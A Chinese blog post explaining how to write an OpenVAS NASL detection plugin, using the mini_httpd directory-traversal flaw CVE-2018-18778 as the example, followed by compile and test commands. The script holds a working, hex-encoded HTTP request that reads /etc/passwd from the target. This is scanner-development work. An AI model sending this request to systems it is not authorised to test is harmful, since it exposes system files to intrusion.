最近参与到一个漏扫项目当中,针对nessus和openvas比对后,发现基于openvas开发的扫描器更有优势,主要体现在openvas的命令行可以直接添加扫描ip、扫描方式和最后的报告导出,这就会帮助开发公司将openvas给集成到一个程序里,然后外面留一个ip的接口,通过ip来开启扫描任务,然后导出最后的扫描报告。openvas的插件一共是4.6w个,nessus则超过10万个,这里插件并不是越多越好,因为扫描时长其实也是考验扫描器的一个很重要的指标。
这里由于需要做后续插件库的维护和开发,因此去研究了下整个openvas的调用逻辑,下面就以mini-httpd作为示例,来讲解下我是怎么开发对应的poc插件的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
if(description)
{
script_oid(“1.3.6.1.4.1.25623.1.0.100001”);
#漏洞的内部编号,这里其实是有命名规范的,用户可以修改的其实只有两位,这里可以参考openvas的官方nasl编写文档
#我这里为了方便,只修改了最后一位,也就是100001
script_version(“$Revision: 11357 $”);
script_cve_id(“CVE-2018-18778”);
#对应的cve编号
script_bugtraq_id(99999);
script_tag(name:“cvss_base”, value:“9.3”);
#cvss分数,这里openvas在最后会输出高危中危低危,其实就是评估这个cvss分数,也就是说这个分数直接就决定了这个漏洞是高危还是中危
script_tag(name:“cvss_base_vector”, value:“AV:N/AC:M/Au:N/C:C/I:C/A:C”);
#这里其实就是涉及到了一个Qod的分数,这个分数大意就是漏洞检测的质量,如果漏洞检测难度较大,那么可能这个分数就会低于60分,在最后输出报告时,默认会输出70分以上的漏洞
#因此这里如果想要输出自编的插件漏洞,那么这里Qod分数尽量要高一点,上面这个模板分数大概就是99分
script_tag(name:“last_modification”, value:“$Date: 2018-10-22 12:57:05 +0200 (Wed, 12 Sep 2018) $”);
script_tag(name:“creation_date”, value:“2018-10-22 16:21:31 +0100 (Fri, 16 Mar 2012)”);
script_name(“mini_httpd”);
#漏洞名称
script_category(ACT_GATHER_INFO);
script_copyright(“Copyright (C) 2018 ADog”);
script_family(“Backdoors”);
script_xref(name:“URL”, value:“http://www.foreversong.cn/”);
script_tag(name:“impact”, value:“由于没有过滤Http包头的特定字段,导致可以构造访问系统文件的路径,从而导致可访问任意文件,攻击者可以利用该漏洞读取设备的任意文件,这将严重威胁采用Mini_httpd的设备的安全性。”);
#漏洞影响
script_tag(name:“affected”, value:“mini_httpd”);
#影响范围
script_tag(name:“insight”, value:“mini_httpd_insight”);
script_tag(name:“solution”, value:“下载最新ACME mini_httpd 1.3版本”);
#修复建议
script_tag(name:“summary”, value:“serious_bug”);
script_tag(name:“solution_type”, value:“VendorFix”);
script_tag(name:“qod_type”, value:“remote_vul”);
exit(0);
}
#漏洞检测
## Variable Initialization
port = 8080;
#mini_httpd默认端口
## Check Port status
if(!get_port_state(port)){
#这里经过测试一些未开放的端口返回值都是1,如果开放的话返回值就是10000,所以这里其实就可以根据这个返回值做端口检测
display(“ADog:get_port_state failed.”,port,“n”);
exit(0);
}
## Open the socket
sock = open_sock_tcp(port);
if(!sock){
#这里其实跟上面是一样的,sock端口其实都能开放的,所以这段可写可不写
display(“ADog:open_sock_tcp failed.”,port,“n”);
exit(0);
}
## Constructed directory traversal crafted request
req = raw_string(0x47, 0x45, 0x54, 0x20, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x20, 0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31, 0x0d, 0x0a, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20, 0x0d, 0x0a, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x4d, 0x61, 0x63, 0x69, 0x6e, 0x74, 0x6f, 0x73, 0x68, 0x3b, 0x20, 0x49, 0x6e, 0x74, 0x65, 0x6c, 0x20, 0x4d, 0x61, 0x63, 0x20, 0x4f, 0x53, 0x20, 0x58, 0x20, 0x31, 0x30, 0x2e, 0x31, 0x33, 0x3b, 0x20, 0x72, 0x76, 0x3a, 0x36, 0x33, 0x2e, 0x30, 0x29, 0x20, 0x47, 0x65, 0x63, 0x6b, 0x6f, 0x2f, 0x32, 0x30, 0x31, 0x30, 0x30, 0x31, 0x30, 0x31, 0x20, 0x46, 0x69, 0x72, 0x65, 0x66, 0x6f, 0x78, 0x2f, 0x36, 0x33, 0x2e, 0x30, 0x0d, 0x0a, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x3a, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2f, 0x68, 0x74, 0x6d, 0x6c, 0x2c, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x78, 0x68, 0x74, 0x6d, 0x6c, 0x2b, 0x78, 0x6d, 0x6c, 0x2c, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x78, 0x6d, 0x6c, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x39, 0x2c, 0x2a, 0x2f, 0x2a, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x38, 0x0d, 0x0a, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x2d, 0x4c, 0x61, 0x6e, 0x67, 0x75, 0x61, 0x67, 0x65, 0x3a, 0x20, 0x7a, 0x68, 0x2d, 0x43, 0x4e, 0x2c, 0x7a, 0x68, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x38, 0x2c, 0x7a, 0x68, 0x2d, 0x54, 0x57, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x37, 0x2c, 0x7a, 0x68, 0x2d, 0x48, 0x4b, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x35, 0x2c, 0x65, 0x6e, 0x2d, 0x55, 0x53, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x33, 0x2c, 0x65, 0x6e, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x32, 0x0d, 0x0a, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x20, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x0d, 0x0a, 0x55, 0x70, 0x67, 0x72, 0x61, 0x64, 0x65, 0x2d, 0x49, 0x6e, 0x73, 0x65, 0x63, 0x75, 0x72, 0x65, 0x2d, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x3a, 0x20, 0x31, 0x0d, 0x0a, 0x0d, 0x0a);
#这里最重要的就是这段poc,由于这是web服务器,因此这的payload,读者可以对这段进行16进制解码,你就会发现其实就是一个web的流量包
#这里我先使用burp做了漏洞复现,然后将请求包复制下来,将其做了一次16进制转化
#这里openvas其实自带http的函数,但是这里我仍然使用了socket,原因就是如果后续不是web的服务,那么web相关的函数就用不了,总的来说socket肯定是最通用的方法
## send the attack request and recieve the response
display(“ADog:port is working.”,port,“n”);
send(socket:sock, data:req);
ret = recv(socket:sock, length:1024);
#获取返回包内容
close(sock);
#display(“ADog:recv:”,ret);
state = egrep(pattern:‘^root.*’,string:ret);
#openvas自带的匹配函数,这里用于匹配出现root字样,由于这个漏洞是任意文件读取,那么这里我读取的是/etc/passwd,那么就会第一条就会出现root用户的基本信息
#那么如果出现了,那么就认定此漏洞存在
#这里的定制化就体现在我们可以针对公司内部漏洞编写nasl脚本,其实仔细看过脚本的人就知道,目前市面上主流的扫描器其实都只是版本匹配,当然这也是为了无损扫描,也有部分payload是真的带poc
if(state)
{
report = ‘mini_httpd is vulnerable!n’;
security_message(data:report);
#这里使用openvas自带的报告函数将漏洞输出到扫描报告里
#security_message(port:port);
#这两个函数用一个就行了,一开始为了测试使用了这两个,最后报告里也就出现了两次
display(‘mini_httpd is vulnerable.n’);
}
|
总的来说,web漏洞插件其实还是相对好写一点的,这里稍微讲下怎么使用openvas-nasl编译的,写完之后其实一开始是需要编译一下看看有没有语法错误的,这里的openvas-nasl是需要安装,不是自带工具
这里给个参考链接:http://blog.chinaunix.net/uid-28818752-id-3923299.html
第一种不使用自带证书和签名,由于openvas的插件库都有签名和认证,你想要使用自编的插件库,openvas其实是不会调用的,所以这里需要首先对自己编写的插件库进行签名和认证。当然openvas-nasl也带了不使用认证来编译的参数,不过效果不是很好,自己测试的时候都没有收到回显。
1
|
openvas–nasl –X script.nasl
|
第二种按照上面链接的流程对脚本进行签名后,既可以编译调用(这里签名很玄学,大概率会失败,失败原因千奇百怪)
1
|
openvas–nasl –p script.nasl
|
这里-p参数其实就是编译nasl脚本,如果有语法错误,就会输出语法错误
1
|
openvas–nasl –t 192.168.2.105 script.nasl
|
这个就是对某个ip进行测试,如果调用了openvas的自带函数,可能还需要使用-i参数来包含openvas的插件库目录
上面的display函数其实就类似于print函数,主要是为了调试方便。
最后给下我搭建环境使用的docker镜像(atomicorp/openvas)
突然心血来潮,想要好好研究下python的正则表达式,每次遇到正则总是百度这个.*?什么意思,感觉好烦。。不如来好好研究下具体的符号,但是研究了总要有个用途,于是我决定配合requests库,来进行页面的爬取,然后利用正则表达式,来对页面的标题进行一个匹配,从…
请登录后发表评论
注册